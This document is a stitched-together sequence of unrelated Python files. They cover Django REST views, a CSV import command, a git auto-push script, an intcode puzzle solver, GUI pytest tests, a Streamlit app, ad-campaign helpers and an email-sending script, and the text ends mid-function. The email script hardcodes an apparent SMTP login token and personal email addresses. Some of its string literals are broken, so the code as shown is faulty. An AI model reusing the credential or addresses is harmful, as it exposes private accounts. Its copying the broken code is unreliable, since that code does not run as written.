from django.contrib.auth import get_user_model
from django.shortcuts import get_object_or_404
from rest_framework import filters, mixins, permissions, viewsets
from rest_framework.pagination import LimitOffsetPagination

from .permissions import AuthorOrReadOnly
from api.serializers import (CommentSerializer, FollowSerializer,
                             GroupSerializer, PostSerializer)
from posts.models import Follow, Group, Post

User = get_user_model()

class PostViewSet(viewsets.ModelViewSet):
    queryset = Post.objects.all()
    serializer_class = PostSerializer
    permission_classes = (AuthorOrReadOnly,)
    pagination_class = LimitOffsetPagination

    def perform_create(self, serializer):
        serializer.save(author=self.request.user)

class CommentViewSet(viewsets.ModelViewSet):
    serializer_class = CommentSerializer
    permission_classes = (AuthorOrReadOnly,)

    def get_queryset(self):
        post = get_object_or_404(Post, pk=self.kwargs.get('post_id'))
        return post.comments

    def perform_create(self, serializer):
        get_object_or_404(Post, pk=self.kwargs.get('post_id'))
        serializer.save(author=self.request.user)

class ListRetrieveViewSet(mixins.ListModelMixin, mixins.RetrieveModelMixin,
                          viewsets.GenericViewSet):
    pass

class GroupViewSet(ListRetrieveViewSet):
    queryset = Group.objects.all()
    serializer_class = GroupSerializer
    permission_classes = (AuthorOrReadOnly,)

class FollowViewSet(viewsets.ModelViewSet):
    queryset = Follow.objects.all()
    serializer_class = FollowSerializer
    permission_classes = (permissions.IsAuthenticated,)
    filter_backends = (filters.SearchFilter, )
    search_fields = ('user__username', 'following__username',)

    def perform_create(self, serializer):
        serializer.save(user=self.request.user)

    def get_queryset(self):
        user = get_object_or_404(User, username=self.request.user.username)
        return user.user.all()


import csv
from datetime import datetime
from dateutil import parser

from os import listdir, path
from os.path import isfile, join

from django.conf import settings
from django.core.management.base import BaseCommand, CommandError

from core.models import Reestr, Airports

class Command(BaseCommand):
    help = 'Export from csv file'

    def add_arguments(self, parser):
        parser.add_argument('--file_reestr', nargs='+', type=str,
                            default='reestr_pure.csv')
        parser.add_argument('--file_airports', nargs='+', type=str,
                            default='airports.csv')

    def handle(self, *args, **options):
        def safe_cast(val, float, default=None):
            try:
                return float(val)
            except (ValueError, TypeError):
                return default

        path_to_file = path.join(settings.BASE_DIR, 'exports', options['file_reestr'])

        Reestr.objects.all().delete()

        with open(path_to_file, encoding='utf-8-sig', newline='') as f:
            reader = csv.reader(f, delimiter=',')
            for row in reader:
                _, created = Reestr.objects.get_or_create(
                    location=row[7].strip(),
                    reg_date=parser.parse(row[11].strip()),
                    category=row[15].strip(),
                    area=safe_cast(row[17].strip().replace(',', '.'), float),
                    lon=safe_cast(row[21].strip().replace(',', '.'), float),
                    lat=safe_cast(row[22].strip().replace(',', '.'), float),
                    )

        print('EXPORT REESTR DONE')

        # ---

        path_to_file = path.join(
            settings.BASE_DIR, 'exports', options['file_airports'])

        Airports.objects.all().delete()

        with open(path_to_file, encoding='utf-8-sig', newline='') as f:
            reader = csv.reader(f, delimiter=';')
            for row in reader:
                _, created = Airports.objects.get_or_create(
                    name=row[0].strip(),
                    code_ikao=row[1].strip(),
                    lat=safe_cast(row[2].strip().replace(',', '.'), float),
                    lon=safe_cast(row[3].strip().replace(',', '.'), float),
                    height=safe_cast(row[4].strip().replace(',', '.'), float),
                    len_vvp=safe_cast(row[5].strip().replace(',', '.'), float),
                    width_vvp=safe_cast(
                        row[6].strip().replace(',', '.'), float),
                    coating=row[7].strip()
                )

        print('EXPORT AIRPORTS DONE')


from loguru import logger
from git import Repo
from git import RemoteProgress

# class MyProgressPrinter(RemoteProgress):
#     def update(self, op_code, cur_count, max_count=None, message=''):
#         print(op_code, cur_count, max_count, cur_count / (max_count or 100.0), message or "NO MESSAGE")

repo = Repo("d:/03 mp products/01 cg Git代码/nacos-snapshot")
origin = repo.remotes.origin
message = "123"

if repo.is_dirty(untracked_files=True):
    repo.git.add(A=True)
    repo.index.commit(message)
    origin.pull()
    info = origin.push()
    if info[0].flags > 1023:
        logger.error(f"Error occurs while pushing to remote, "
                     f"summary: {info[0].summary}, flags: {info[0].flags}, commit messages: {message}")

# for push_info in origin.push(progress=MyProgressPrinter()):
#     print("Updated %s to %s" % (push_info.local_ref, push_info.old_commit))

# diff_obj = repo.index.diff(repo.head.commit)
# print(diff_obj)
# for diff_added in diff_obj.iter_change_type("T"):
#     print(diff_added)


import sys
import itertools

ADD  = 1
MUL  = 2
IN   = 3
OUT  = 4
JMPT = 5
JMPF = 6
LESS = 7
EQU  = 8
HALT = 99
POS = 0
IMM = 1

class amp(object):
    def __init__(self, code, input):
        self.code = code.copy()
        self.ip = 0
        self.input = input.copy()
        self.terminated = False

    def _get_param(self, p, mode):
        if mode == IMM:
            return p
        return self.code[p]

    def add_input(self, x):
        self.input.append(x)

    def has_input(self):
        if self.terminated:
            return False
        if len(self.input) > 0:
            return True
        return False

    def run(self):
        last_output = 0
        mode = [0,0,0]
        while True:
            opcode = self.code[self.ip]
            mode[2], opcode = divmod(opcode,10000)
            mode[1], opcode = divmod(opcode,1000)
            mode[0], opcode = divmod(opcode,100)
            if opcode == HALT:
                self.terminated = True
                break
            if opcode == ADD:
                p1 = self._get_param(self.code[self.ip+1], mode[0])
                p2 = self._get_param(self.code[self.ip+2], mode[1])
                self.code[self.code[self.ip+3]] = p1 + p2
                self.ip += 4
            elif opcode == MUL:
                p1 = self._get_param(self.code[self.ip+1], mode[0])
                p2 = self._get_param(self.code[self.ip+2], mode[1])
                self.code[self.code[self.ip+3]] = p1 * p2
                self.ip += 4
            elif opcode == IN:
                if len(self.input) == 0:
                    return None
                self.code[self.code[self.ip+1]] = self.input.pop(0)
                self.ip += 2
            elif opcode == OUT:
                last_output = self._get_param(self.code[self.ip+1], mode[0])
                self.ip += 2
                return last_output
            elif opcode == JMPT:
                p1 = self._get_param(self.code[self.ip+1], mode[0])
                p2 = self._get_param(self.code[self.ip+2], mode[1])
                if p1 == 0:
                    self.ip += 3
                else:
                    self.ip = p2
            elif opcode == JMPF:
                p1 = self._get_param(self.code[self.ip+1], mode[0])
                p2 = self._get_param(self.code[self.ip+2], mode[1])
                if p1 != 0:
                    self.ip += 3
                else:
                    self.ip = p2
            elif opcode == LESS:
                p1 = self._get_param(self.code[self.ip+1], mode[0])
                p2 = self._get_param(self.code[self.ip+2], mode[1])
                if p1 < p2:
                    val = 1
                else:
                    val = 0
                self.code[self.code[self.ip+3]] = val
                self.ip += 4
            elif opcode == EQU:
                p1 = self._get_param(self.code[self.ip+1], mode[0])
                p2 = self._get_param(self.code[self.ip+2], mode[1])
                if p1 == p2:
                    val = 1
                else:
                    val = 0
                self.code[self.code[self.ip+3]] = val
                self.ip += 4
            else:
                print("Unknown opself.code %d at %d" % (opcode, self.ip))
                sys.exit()
        return None

with open('input') as f:
    code = f.read()

gold = code.split(',')

for i in range(len(gold)):
    gold[i] = int(gold[i])

part1 = -999999999999

perms = list(itertools.permutations([0, 1, 2, 3, 4]))
for p in perms:
    amp1 = amp(gold.copy(), [p[0],0])
    amp2 = amp(gold.copy(), [p[1]])
    amp3 = amp(gold.copy(), [p[2]])
    amp4 = amp(gold.copy(), [p[3]])
    amp5 = amp(gold.copy(), [p[4]])
    while True:
        if amp1.has_input():
            op = amp1.run()
            if op != None:
                amp2.add_input(op)
        elif amp2.has_input():
            op = amp2.run()
            if op != None:
                amp3.add_input(op)
        elif amp3.has_input():
            op = amp3.run()
            if op != None:
                amp4.add_input(op)
        elif amp4.has_input():
            op = amp4.run()
            if op != None:
                amp5.add_input(op)
        elif amp5.has_input():
            op = amp5.run()
            if op != None:
                part1 = max(part1, op)
        else:
            break

print('Part 1:', part1)

part2 = -999999999999

perms = list(itertools.permutations([5, 6, 7, 8, 9]))
for p in perms:
    amp1 = amp(gold.copy(), [p[0],0])
    amp2 = amp(gold.copy(), [p[1]])
    amp3 = amp(gold.copy(), [p[2]])
    amp4 = amp(gold.copy(), [p[3]])
    amp5 = amp(gold.copy(), [p[4]])
    last_out = 0
    while True:
        if amp1.has_input():
            op = amp1.run()
            if op != None:
                amp2.add_input(op)
        elif amp2.has_input():
            op = amp2.run()
            if op != None:
                amp3.add_input(op)
        elif amp3.has_input():
            op = amp3.run()
            if op != None:
                amp4.add_input(op)
        elif amp4.has_input():
            op = amp4.run()
            if op != None:
                amp5.add_input(op)
        elif amp5.has_input():
            op = amp5.run()
            if op != None:
                amp1.add_input(op)
                last_out = op
        else:
            break
    part2 = max(part2, last_out)

print('Part 2:', part2)


from datetime import datetime
import os
from uuid import UUID
os.environ['SARDES_PYTEST'] = 'True'

# ---- Third party imports
import pandas as pd
import pytest
from qtpy.QtWidgets import QMessageBox

# ---- Local imports
from sardes.widgets.tableviews import MSEC_MIN_PROGRESS_DISPLAY

# =============================================================================
# ---- Fixtures
# =============================================================================
@pytest.fixture
def tablewidget(mainwindow, qtbot, dbaccessor):
    mainwindow.tables_plugin.switch_to_plugin()
    mainwindow.tables_plugin.tabwidget.setCurrentIndex(3)
    tablewidget = mainwindow.tables_plugin.current_table()

    assert tablewidget.model().name() == 'table_sonde_installations'

    # Wait until data are actually charged in the table.
    qtbot.waitUntil(lambda: tablewidget.visible_row_count() > 0)
    qtbot.wait(MSEC_MIN_PROGRESS_DISPLAY + 100)

    yield tablewidget
    # The 'tablewidget' is part of the 'mainwindow' and will get
    # destroyed in the 'mainwindow' fixture.

# =============================================================================
# ---- Tests
# =============================================================================
def test_add_sonde_installations(tablewidget, dbaccessor, qtbot, mocker):
    """
    Test that adding new sonde installations is working as expected.
    """
    tablemodel = tablewidget.model()
    assert tablewidget.visible_row_count() == 6
    assert len(dbaccessor.get('sonde_installations')) == 6

    # We add a new row and assert that the UI state is as expected.
    tablewidget.new_row_action.trigger()
    assert tablewidget.visible_row_count() == 7
    assert tablemodel.data_edit_count() == 1
    assert tablewidget.get_data_for_row(6) == [''] * 6
    assert tablemodel.is_new_row_at(tablewidget.current_index())
    assert len(dbaccessor.get('sonde_installations')) == 6

    # We need to patch the message box that warns the user when
    # a Notnull constraint is violated.
    qmsgbox_patcher = mocker.patch.object(
        QMessageBox, 'exec_', return_value=QMessageBox.Ok)

    # Try to save the changes to the database and assert that a
    # "Notnull constraint violation" message is shown.
    tablewidget.save_edits_action.trigger()
    assert qmsgbox_patcher.call_count == 1
    assert tablewidget.visible_row_count() == 7
    assert len(dbaccessor.get('sonde_installations')) == 6

    # Enter a non null value for the fields 'sampling_feature_uuid',
    # 'sonde_uuid', 'start_date', and 'install_depth'.
    edited_values = {
        'sampling_feature_uuid': UUID('e23753a9-c13d-44ac-9c13-8b7e1278075f'),
        'sonde_uuid': UUID('3b8f4a6b-14d0-461e-8f1a-08a5ea465a1e'),
        'start_date': datetime(2015, 6, 12, 15, 34, 12),
        'install_depth': 12.23}
    for colname, edited_value in edited_values.items():
        col = tablemodel.column_names().index(colname)
        model_index = tablemodel.index(6, col)
        tablewidget.model().set_data_edit_at(model_index, edited_value)
    assert tablewidget.get_data_for_row(6) == [
        '09000001', '1016042 - Solinst Barologger M1.5', '2015-06-12 15:34',
        '', '12.23', '']
    assert tablemodel.data_edit_count() == 5

    # Save the changes to the database.
    with qtbot.waitSignal(tablemodel.sig_data_updated):
        tablewidget.save_edits_action.trigger()
    assert qmsgbox_patcher.call_count == 1
    assert tablemodel.data_edit_count() == 0

    sonde_installations = dbaccessor.get('sonde_installations')
    assert tablewidget.visible_row_count() == 7
    assert len(sonde_installations) == 7
    assert sonde_installations.iloc[6]['sampling_feature_uuid'] == UUID(
        'e23753a9-c13d-44ac-9c13-8b7e1278075f')
    assert sonde_installations.iloc[6]['sonde_uuid'] == UUID(
        '3b8f4a6b-14d0-461e-8f1a-08a5ea465a1e')
    assert sonde_installations.iloc[6]['start_date'] == datetime(
        2015, 6, 12, 15, 34, 12)
    assert sonde_installations.iloc[6]['install_depth'] == 12.23

def test_edit_sonde_installations(tablewidget, qtbot, sondes_installation,
                                  obswells_data, sondes_data, dbaccessor):
    """
    Test that editing sonde installations is working as expected.
    """
    tableview = tablewidget.tableview

    edited_values = {
        'sampling_feature_uuid': obswells_data.index[3],
        'sonde_uuid': sondes_data.index[3],
        'start_date': datetime(2010, 8, 1, 12, 0),
        'end_date': datetime(2010, 8, 30, 19, 16),
        'install_depth': 6.34,
        'install_note': 'Edited sonde install note.'
        }

    # Edit each editable field of the first row of the table.
    assert tableview.get_data_for_row(0) == [
        '03037041', '1016042 - Solinst Barologger M1.5',
        '2006-08-24 18:00', '2020-12-31 07:14', '9.02',
        'Note for first sonde installation.']
    for col in range(tableview.visible_column_count()):
        current_index = tableview.set_current_index(0, col)
        if not tableview.is_data_editable_at(current_index):
            continue

        orig_value = tableview.model().get_value_at(current_index)
        edit_value = edited_values[tableview.visible_columns()[col]]
        assert orig_value != edit_value

        assert not tableview.model().is_data_edited_at(current_index)
        tableview.edit(current_index)
        item_delegate = tableview.itemDelegate(tableview.current_index())
        item_delegate.set_editor_data(edit_value)
        item_delegate.commit_data()
        assert tableview.model().is_data_edited_at(current_index)
        assert tableview.model().get_value_at(current_index) == edit_value
    assert tableview.get_data_for_row(0) == [
        '03040002', '1016387 - Solinst LT M10 Gold',
        '2010-08-01 12:00', '2010-08-30 19:16', '6.34',
        'Edited sonde install note.']

    # Save the changes to the database.
    with qtbot.waitSignal(tableview.model().sig_data_updated):
        tableview._save_data_edits(force=True)

    saved_values = dbaccessor.get('sonde_installations').iloc[0].to_dict()
    for key in edited_values.keys():
        assert saved_values[key] == edited_values[key], key

def test_clear_sonde_installations(tablewidget, qtbot, dbaccessor):
    """
    Test that clearing sonde installations is working as expected.
    """
    tableview = tablewidget.tableview
    clearable_attrs = ['end_date', 'install_note']

    # Clear each non required field of the first row of the table.
    assert tableview.get_data_for_row(0) == [
        '03037041', '1016042 - Solinst Barologger M1.5',
        '2006-08-24 18:00', '2020-12-31 07:14', '9.02',
        'Note for first sonde installation.']
    for col in range(tableview.visible_column_count()):
        current_index = tableview.set_current_index(0, col)
        column = tableview.visible_columns()[col]
        if not tableview.is_data_clearable_at(current_index):
            assert column not in clearable_attrs, column
        else:
            assert column in clearable_attrs, column

            assert not tableview.model().is_data_edited_at(current_index)
            assert not tableview.model().is_null(current_index)
            tableview.clear_item_action.trigger()
            assert tableview.model().is_data_edited_at(current_index)
            assert tableview.model().is_null(current_index)
    assert tableview.get_data_for_row(0) == [
        '03037041', '1016042 - Solinst Barologger M1.5',
        '2006-08-24 18:00', '', '9.02', '']

    # Save the changes to the database.
    with qtbot.waitSignal(tableview.model().sig_data_updated):
        tableview._save_data_edits(force=True)

    saved_values = dbaccessor.get('sonde_installations').iloc[0].to_dict()
    for attr in clearable_attrs:
        assert pd.isnull(saved_values[attr])

def test_delete_sonde_installations(tablewidget, qtbot, dbaccessor, mocker):
    """
    Test that deleting sonde installations is working as expected.
    """
    assert tablewidget.visible_row_count() == 6
    assert len(dbaccessor.get('sonde_installations')) == 6

    # We need to patch the message box that appears to warn users about
    # what happens with the associated monitoring data when deleting a
    # sonde installation from the database.
    qmsgbox_patcher = mocker.patch.object(
        QMessageBox, 'exec_', return_value=QMessageBox.Ok)

    # Select and delete the first two rows of the table.
    tablewidget.set_current_index(0, 0)
    tablewidget.select(1, 0)
    assert tablewidget.get_rows_intersecting_selection() == [0, 1]

    tablewidget.delete_row_action.trigger()
    assert tablewidget.model().data_edit_count() == 1
    assert qmsgbox_patcher.call_count == 1

    # Save the changes to the database.
    assert tablewidget.visible_row_count() == 6
    assert len(dbaccessor.get('sonde_installations')) == 6

    with qtbot.waitSignal(tablewidget.model().sig_data_updated):
        tablewidget.save_edits_action.trigger()

    assert tablewidget.visible_row_count() == 4
    assert len(dbaccessor.get('sonde_installations')) == 4

if __name__ == "__main__":
    pytest.main(['-x', __file__, '-v', '-rw'])


# Importação das bibliotecas
import streamlit as st
import sys
sys.path.append('parts')
sys.path.append('images')
sys.path.append('data')
from parts.inicio import inicio_func
from parts.about import about_func
from parts.cenipa import cenipa_func
from parts.filtro import filtro_func

st.set_page_config(page_title="Multi App - Thiago Lopes",
                   page_icon=":computer:",
                   layout="wide",
                   initial_sidebar_state="collapsed")

#from parts.mlapp import mlapp_func
st.set_option('deprecation.showPyplotGlobalUse', False)

def main():
    # Estrutura da barra lateral
    st.sidebar.header("Multi App - Streamlit Sharing")
    st.sidebar.subheader("Por Thiago Lopes")

    # Menu de Páginas
    opcoes_menu = ("Início","FILTRO","CENIPA", "MLApp","Sobre mim")
    escolha = st.sidebar.selectbox("Escolha uma opção", opcoes_menu)

    if escolha == "Início":
        inicio_func()

    elif escolha == "FILTRO":
        filtro_func()

    elif escolha == "CENIPA":
        cenipa_func()

    elif escolha == "MLApp":
        #mlapp_func()
        st.markdown("# Em construção")

    elif escolha == 'Sobre mim':
        about_func()

if __name__ == '__main__':
    main()


from workflow_engine.strategies import  InputConfigMixin, ExecutionStrategy
from at_em_imaging_workflow.render_strategy_utils import RenderStrategyUtils
from at_em_imaging_workflow.models import ChunkAssignment
from rendermodules.pointmatch.schemas import TilePairClientParameters
from at_em_imaging_workflow.two_d_stack_name_manager import TwoDStackNameManager
import logging

class CreateRoughPairsStrategy(InputConfigMixin, ExecutionStrategy):
    _log = logging.getLogger(
        'at_em_imaging_workflow.strategies.rough.'
        'create_rough_pairs_strategy')

    def transform_objects_for_queue(self, source_object):
        chnk = source_object
        tile_pair_ranges = chnk.get_tile_pair_ranges()

        chunk_assignments = [
            ChunkAssignment.objects.get(
                chunk=chnk,
                section__z_index=tile_pair_ranges[x]['tempz']
            ) for x in tile_pair_ranges.keys()]

        return chunk_assignments

    def get_input(self, chk_assgn, storage_directory, task):
        inp = self.get_workflow_node_input_template(task)

        chnk = chk_assgn.chunk

        inp['render'] = RenderStrategyUtils.render_input_dict(chnk)

        inp['output_dir'] = chnk.get_storage_directory()

        tile_pair_ranges = chnk.get_tile_pair_ranges()

        section_z_index = chk_assgn.section.z_index

        for k in tile_pair_ranges.keys():
            tile_pair_range = tile_pair_ranges[k]
            if tile_pair_range['tempz'] == section_z_index:
                min_z = tile_pair_range['minz']
                max_z = tile_pair_range['maxz']

                inp["minZ"] = min_z
                inp["maxZ"] = max_z
                inp["zNeighborDistance"] = tile_pair_range["zNeighborDistance"]

        stack_names = TwoDStackNameManager.create_rough_pair_stacks(chk_assgn)
        inp['baseStack'] = stack_names['baseStack']
        inp['stack'] = stack_names['stack']

        return TilePairClientParameters().dump(inp).data

    def on_finishing(self, chk_assgn, results, task):
        self.check_key(results, ChunkAssignment.TILE_PAIR_FILE_KEY)
        chk_assgn.create_rough_tile_pair_file(
            results[ChunkAssignment.TILE_PAIR_FILE_KEY]
        )

    def get_storage_directory(self, base_storage_directory, job):
        chnk = job.enqueued_object

        return chnk.get_storage_directory(base_storage_directory)


import datetime
import re
import pytz
tz = pytz.timezone('Asia/Shanghai')
import uuid
import os
import pandas as pd

def load_modify_ads(ads):
    tmp_ads = dict()
    if 'ad_id' in ads:
        tmp_ads['ad_id']= ads['ad_id']
    if 'pt' in ads:
        tmp_ads['pt'] = ads['pt']
        tmp_ads['type'] = None
        if 'adset_spec' in ads['pt'] and'targeting' in ads['pt']['adset_spec']:
            if 'custom_audiences' in ads['pt']['adset_spec']['targeting'] or ('name' in ads['pt'] and 'seed' in ads['pt']['name'].lower()):
                tmp_ads['type'] = 'seed'
            elif 'interests' in ads['pt']['adset_spec']['targeting'] or ('name' in ads['pt'] and 'interest' in ads['pt']['name'].lower()):
                tmp_ads['type'] = 'interests'
            elif 'behaviors' in ads['pt']['adset_spec']['targeting'] or ('name' in ads['pt'] and 'behavior' in ads['pt']['name'].lower()):
                tmp_ads['type'] = 'behaviors'
        tmp_ads['delt_name'] = None
        tmp_ads['delivery_mode'] = 'event'
        if 'name' in ads['pt']:
            tname = ads['pt']['name'].split(' ')
            if len(tname) > 0:
                tmp_ads['delt_name'] = tname[0].replace('_TEST', '')
            if 'value' in ads['pt']['name'].lower() or ('adset_spec' in ads['pt'] and 'optimization_goal' in ads['pt']['adset_spec']
                                                        and 'value' in ads['pt']['adset_spec']['optimization_goal'].lower()):
                tmp_ads['delivery_mode'] = 'value'
        if 'country' in ads['pt']:
            tmp_ads['country'] = ads['pt']['country']
        else:
            tmp_ads['country'] = None

    return tmp_ads

def read_combo_adids():
    if os.path.exists('combo_adids.txt'):
        combo_adids = pd.read_csv('combo_adids.txt')['ad_id']
        return list(combo_adids)
    else:
        return []

def save_combo_adids(combo_adids):
    pd.DataFrame({'ad_id':combo_adids}).to_csv('combo_adids.txt', index=False)

def modify_name(ads):
    cur_date = datetime.datetime.now(tz).strftime('%Y-%m-%d %H:%M:%S')
    new_name = re.subn(r"(\d{4}-\d{1,2}-\d{1,2}\s\d{1,2}:\d{1,2}:\d{1,2})", cur_date, ads['pt']['name'])[0]
    new_name = new_name.replace('[GA4]', '').strip()
    new_name = new_name.replace('EVENT', 'VALUE')+' [GA4]'
    ads['pt']['name'] = new_name
    ads['pt']['adset_spec']['name'] = new_name
    ads['pt']['adset_spec']['campaign_spec']['name'] = new_name
    # 1、去掉pt中的bid_amount
    if ads['pt'].get('adset_spec') and ads['pt']['adset_spec'].get('bid_amount'):
        del ads['pt']['adset_spec']['bid_amount']
    # 2、修改bid_strategy为LOWEST_COST_WITHOUT_CAP
    ads['pt']['adset_spec']['bid_strategy'] = 'LOWEST_COST_WITH_MIN_ROAS'

    # 3、修改optimization_goal为VALUE
    ads['pt']['adset_spec']['optimization_goal'] = 'VALUE'

    # 4、修改daily_budget为10000
    ads['pt']['adset_spec']['daily_budget'] = 10000

    # 5、设置roas
    ads['pt']['adset_spec']['bid_constraints'] = {'roas_average_floor': os.environ['roas_average_floor']}

    platform = 'Android'
    if 'ios' in ads['delt_name'].lower():
        platform = 'iOS'
    tpt = {
        'hash': str(uuid.uuid4()),
        'pt': ads['pt'],
        'algo': 'genetic',
        'status': 'available',
        'country': ads['country'],
        'platform': platform,
        'delt_name': ads['delt_name'].lower(),
        'created_at': datetime.datetime.now(tz).strftime('%Y-%m-%dT%H:%M:%S:%sZ')
    }
    return tpt


from multiprocessing import Process as pcs
from multiprocessing import Queue
from pysl import Config,os_enter,easy_request
import os,config_make,time,sys
from pprint import pprint

Q_Order=Queue(maxsize=5)
try:
    config_make.make_cfg()
except:
    Warning('configs make failed')
cfg=Config('./configs.json')

pprint(cfg.data)
server,port=cfg.server,cfg.port

def server_tasker(server,port):

    print(f'\nDjango server on {server}\n')

    with os_enter('./') as oe:
        oe.cd('test/dj/mysite')
        if os.name=='nt':
            oe.cmd(f'python manage.py runserver 0.0.0.0:{port}')
        else:
            oe.cmd(f'python3 manage.py runserver 0.0.0.0:{port}')

def get_order(Q_Order,server):
    time.sleep(6)
    while 1:
        time.sleep(1)
        order=easy_request(server+'/order/')
        if order!='NoData':
            print(order,'-----------------')
            Q_Order.put(order)
            #if order=='exit':
            #    return
            if Q_Order.qsize()==5:
                Q_Order.get()
                print('Warning: order num max')

def main_tasker(Q_Order,cfg):
    os.chdir('./Baidu_18_ysl')
    sys.path.insert(0,'./')
    from main_pcs import run
    task=[]  # 12 label 10 trade
    print('Note: Start with Tasker.py , main project use main_pcs.py')
    print('Note: Tasker with task',(*task,) if task else 'None')
    run(Q_Order,cfg,True,*task)

def data_poster(server):
    n=1
    time.sleep(6)
    while 1:
        time.sleep(1)
        easy_request(server+'/data/',method='POST',data={'msg':('D' if n%2==0 else 'S')+str(n)},
                     header={"Content-type": "application/json"})
        n+=1

def fin_msg(Q_Order):
    while 1:
        time.sleep(1)
        with open('MSG.txt','r') as fp:
            msg=fp.read()
        if msg:
            open('MSG.txt','w')
            Q_Order.put(msg)

if __name__=='__main__':
    usb_flag=False
    for i in os.listdir('/dev'):
        if 'USB' in i:
            usb_flag=True
    assert usb_flag,'Error , TTYUSB not found'
    if len(sys.argv)==2 and int(sys.argv[1])==1:
        pcs(target=server_tasker,args=[server,port]).start()
        pcs(target=get_order,args=[Q_Order,server]).start()

    if len(sys.argv)==2 and int(sys.argv[1])==2:
        pcs(target=fin_msg,args=[Q_Order]).start()

    if os.name!='nt':
        pcs(target=main_tasker,args=[Q_Order,cfg]).start()
    else:
        pcs(target=data_poster,args=[server]).start()


import requests
from datetime import datetime

config = [
    { 'name' : 'temp', 'public' : 'q5X5m25pp8FYYgZ0EQld' },
    { 'name' : 'pi', 'public' : 'MGw10nX37ZSbA2A463Xo' },
]

base_url = 'https://data.sparkfun.com/output/'
from_time = '2015-07-19T12:00'
from_time_dt = datetime.strptime(from_time, '%Y-%m-%dT%H:%M')
dt = datetime.now() - from_time_dt
exp_rows = float(dt.seconds / 60)  # one post per minute

for c in config:
    payload = { 'gte[timestamp]': from_time }
    r = requests.get(base_url + c['public'], params=payload)
    if r.status_code == 200:
        rows = len(r.text.splitlines())
        print("%5s: %d / %d = %02d%%" %
            (c['name'], rows, exp_rows, (rows/exp_rows)*100))


# -*- coding: utf-8 -*-
# @Time   : 2021/3/7
# @Author : lorineluo
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import smtplib
import time
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.utils import parseaddr, formataddr
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd

def timeStr():
    t = time.strftime(str("%Y-%m-%d %H:%M:%S"), time.localtime())
    s = '[%s]' % t
    return s

def _format_addr(s):
    name, addr = parseaddr(s)
    return formataddr((Header(name, 'utf-8').encode(), addr))

def sendEmail(msg, sender, title):
    # send email
    from_addr = 'luoyu091@163.com'
    tok = 'ZIVRTJYTZTGODWUX'
    to_addr = ['381336925@qq.com', 'moonwalkings@vip.qq.com', '1015240649@qq.com']
    # to_addr = ['381336925@qq.com']
    smtp_server = 'smtp.163.com'
    stime = timeStr()

    msg['From'] = _format_addr('%s <%s>' % (sender, from_addr))
    msg['To'] = ",".join(to_addr)
    msg['Subject'] = Header('%s %s' % (title, stime), 'utf-8').encode()

    server = smtplib.SMTP_SSL(smtp_server, 465)
    # server.set_debuglevel(1)
    server.ehlo(smtp_server)
    server.login(from_addr, tok)
    server.sendmail(from_addr, to_addr, msg.as_string())
    server.quit()

if __name__ == '__main__':
    msg = MIMEMultipart('mixed')

    # 1. dataframe
    display_df = pd.DataFrame(
        np.array([[1.0, '20210815', 3], [4.8, '20210816', 6], [7.0, '20210817', 9]]),
        columns=['a', 'date', 'c'])
    print(display_df)
    # display_df['a'] = display_df['a'].apply(lambda x: format(x, ".2%"))
    display_df = display_df.round(3)
    ori_html = display_df.to_html()

    #set table style
    ori_html = ori_html.replace("<table", '<table style="border-collapse: collapse;"')

    # 可能有多个内容
    contents = [ori_html]

    for content in contents:
        context = MIMEText(content,_subtype='html', _charset='utf-8')
        msg.attach(context)

    # 2. 图
    x=list(range(display_df.index.size))
    name = 'test'
    # plt.legend(loc="upper left", bbox_to_anchor=(0, 0.85))
    plt.xticks(x, display_df.date, rotation=35)
    plt.title(name)
    plt.savefig("%s/%s.png" %("/tmp", name))

    items=[name]
    content = '

'
    for item in  items:
        content += '

' %item
        # 读图
        with open("%s/%s.png" %('/tmp', item), "rb") as f:
            img = MIMEImage(f.read())
            img.add_header('Content-ID', item)
            msg.attach(img)
    context = MIMEText(content,_subtype='html', _charset='utf-8')
    msg.attach(context)

    #发送
    sendEmail(msg, "email test", "email test")


import datetime
import json
import os

import requests
from rest_framework import status
from rest_framework.generics import ListAPIView
from rest_framework.response import Response
from django.core import serializers

from annual_reports.models import IncomeStatement
from annual_reports.serializers import IncomeStatementSerializer, BalanceSheetStatementSerializer, CashFlowStatementSerializer
from annual_reports.models import BalanceSheetStatement, CashFlowStatement
from indicators.models import Indicator

class ListIncomeStatements(ListAPIView):
    serializer_class = IncomeStatementSerializer
    queryset = IncomeStatement.objects.all()

    def get(self, request, *args, **kwargs):
        symbol_id = Indicator.objects.filter(symbol=kwargs['symbol']).first().id
        income_statements = IncomeStatement.objects.filter(symbol=symbol_id).all()

        if income_statements.count() == 0:
            self.fetch_financial_statements(kwargs['symbol'], symbol_id)
            income_statements = IncomeStatement.objects.filter(symbol=symbol_id).all()

        return Response(status=status.HTTP_200_OK, data=IncomeStatementSerializer(income_statements, many=True).data)

    @staticmethod
    def fetch_financial_statements(symbol, symbol_id):
        req_income_statement = requests.get(
            f'{os.environ.get("ANNUAL_REPORTS_URL")}income-statement/{symbol}?apikey={os.environ.get("ANNUAL_REPORTS_API_KEY")}')
        req_balance_sheet = requests.get(
            f'{os.environ.get("ANNUAL_REPORTS_URL")}balance-sheet-statement/{symbol}?apikey={os.environ.get("ANNUAL_REPORTS_API_KEY")}')
        req_cash_flow = requests.get(
            f'{os.environ.get("ANNUAL_REPORTS_URL")}cash-flow-statement/{symbol}?apikey={os.environ.get("ANNUAL_REPORTS_API_KEY")}')

        for income, balance, cash in zip(req_income_statement.json(), req_balance_sheet.json(), req_cash_flow.json()):

            indicator = Indicator.objects.filter(id=symbol_id).first()
            income['symbol'] = indicator
            balance['symbol'] = indicator
            cash['symbol'] = indicator

            for key, value in income.items():
                try:
                    dt = datetime.datetime.strptime(value.split()[0], '%Y-%m-%d').date()
                    income[key] = dt
                except Exception as e:
                    pass

            for key, value in balance.items():
                try:
                    dt = datetime.datetime.strptime(value.split(' ')[0], '%Y-%m-%d').date()
                    balance[key] = dt
                except Exception as e:
                    pass

            for key, value in cash.items():
                try:
                    dt = datetime.datetime.strptime(value.split()[0], '%Y-%m-%d').date()
                    cash[key] = dt
                except Exception as e:
                    pass

            new_income_statement = IncomeStatement(**income)
            new_balance_statement = BalanceSheetStatement(**balance)
            new_cash_statement = CashFlowStatement(**cash)

            new_income_statement.save()
            new_balance_statement.save()
            new_cash_statement.save()

class ListBalanceSheetStatements(ListAPIView):
    serializer_class = BalanceSheetStatementSerializer
    queryset = BalanceSheetStatement.objects.all()

    def get(self, request, *args, **kwargs):
